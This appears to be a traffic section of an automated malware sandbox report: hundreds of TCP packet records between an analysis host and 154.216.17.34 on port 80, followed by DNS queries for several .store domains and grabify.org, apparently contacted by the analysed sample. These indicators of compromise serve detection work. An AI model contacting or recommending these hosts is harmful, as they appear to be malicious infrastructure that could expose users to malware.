Oct 31, 2024 02:09:15.485769033 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.485771894 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.485781908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.485794067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.485800028 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.485807896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.485817909 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.485821009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.485848904 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.485855103 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.485862017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.485873938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.485874891 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.485887051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.485907078 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.485933065 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.485959053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.485976934 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.485987902 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486001015 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486015081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486016989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486028910 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486056089 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486062050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486073971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486076117 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486087084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486099958 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486109972 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486124992 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486135960 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486144066 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486146927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486160040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486171961 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486186028 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486191034 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486207008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486222029 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486237049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486248016 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486259937 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486275911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486285925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486304045 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486304998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486316919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486318111 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486335993 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486349106 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486356020 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486367941 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486380100 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486386061 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486390114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486406088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486418009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486422062 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486429930 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486442089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486447096 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486454964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486473083 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486484051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486491919 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486496925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486521959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486535072 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486535072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486551046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486588001 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486599922 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486613035 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486624956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486644030 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486656904 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486669064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486676931 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486679077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486690998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486700058 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486722946 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486736059 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486767054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486778021 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486788988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486803055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486813068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486821890 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486836910 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486850023 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486861944 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486885071 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486890078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486901045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.486906052 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.486964941 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.487122059 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.487143993 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.487155914 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.487168074 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.487183094 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.487186909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.487200022 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.487212896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.487224102 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.487231016 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.487236977 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.487272024 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.487282991 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.487447977 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.487462044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.487479925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.487493992 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.487505913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.487518072 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.487519979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.487534046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.487567902 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.487576962 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.487601042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.487613916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.487624884 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.487658024 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.487684011 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.487735987 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.487760067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.487786055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.487803936 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.487818003 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.487821102 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.487828970 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.487840891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.487859011 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.487873077 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.487904072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488014936 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488039970 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488051891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488064051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488065004 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.488076925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488082886 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.488116026 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.488291979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488316059 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488333941 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488344908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488346100 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.488358021 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488370895 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488378048 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.488384962 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488405943 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.488411903 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488432884 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.488451004 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.488470078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488482952 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488495111 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488516092 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488517046 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.488528013 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488542080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488544941 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.488553047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488574982 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.488610983 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.488614082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488626957 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488640070 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488660097 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488662004 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.488672972 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488682032 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.488683939 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488706112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488714933 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.488718987 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488734007 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488745928 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.488755941 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488765001 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.488768101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488780975 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488794088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.488795042 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.488837957 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.488837957 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.510706902 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.510719061 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.510734081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.510756016 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.510770082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.510797977 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.510843992 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.522483110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.522521019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.522533894 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.522561073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.522573948 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.522592068 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.522620916 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.522789955 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.522804976 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.522816896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.522838116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.522845984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.522860050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.522871971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.522882938 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.522917032 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.522945881 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.522958994 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.522973061 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.522989988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.522999048 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.523003101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.523016930 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.523056030 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.523197889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.523210049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.523221970 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.523258924 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.523274899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.534101963 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.534147978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.534158945 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.534207106 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.534420013 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.534440041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.534450054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.534492970 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.534584045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.534595966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.534607887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.534665108 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.534888983 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.534898996 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.534924030 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.534943104 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.537497997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.537511110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.537523031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.537559986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.537563086 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.537581921 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.537595987 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.537616014 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.537641048 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.537758112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.537808895 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.537816048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.537827969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.537841082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.537864923 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.537884951 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.537955046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.538006067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.538017988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.538027048 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.538064957 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.538111925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.538124084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.538139105 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.538153887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.538168907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.538171053 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.538187981 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.538189888 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.538203001 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.538217068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.538223028 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.538253069 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.538285971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.538300037 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.538312912 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.538327932 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.538357019 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.538460970 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.538485050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.538501024 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.538515091 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.538531065 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.538538933 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.538552046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.538564920 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.538583994 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.538609028 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.538625956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.538650990 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.538665056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.538676023 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.538697004 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.538707018 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.538897038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.538908958 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.538922071 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.538950920 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.538975954 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.539011002 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.539025068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.539038897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.539057016 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.539077997 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.539115906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.539129972 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.539141893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.539174080 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.539185047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.539186001 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.539199114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.539211988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.539227009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.539244890 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.539262056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.539275885 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.539277077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.539290905 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.539304018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.539304972 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.539335966 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.539369106 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.539516926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.539535046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.539551973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.539566994 CET	80	49982	154.216.17.34	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 31, 2024 02:07:58.744081974 CET	192.168.2.5	1.1.1.1	0x517f	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:07:58.757962942 CET	192.168.2.5	1.1.1.1	0x169a	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:07:58.767817974 CET	192.168.2.5	1.1.1.1	0xe912	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:07:58.777528048 CET	192.168.2.5	1.1.1.1	0xf1d2	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:07:58.789506912 CET	192.168.2.5	1.1.1.1	0xd6dc	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:09:19.493407011 CET	192.168.2.5	1.1.1.1	0x46c7	Standard query (0)	grabify.org	A (IP address)	IN (0x0001)	false
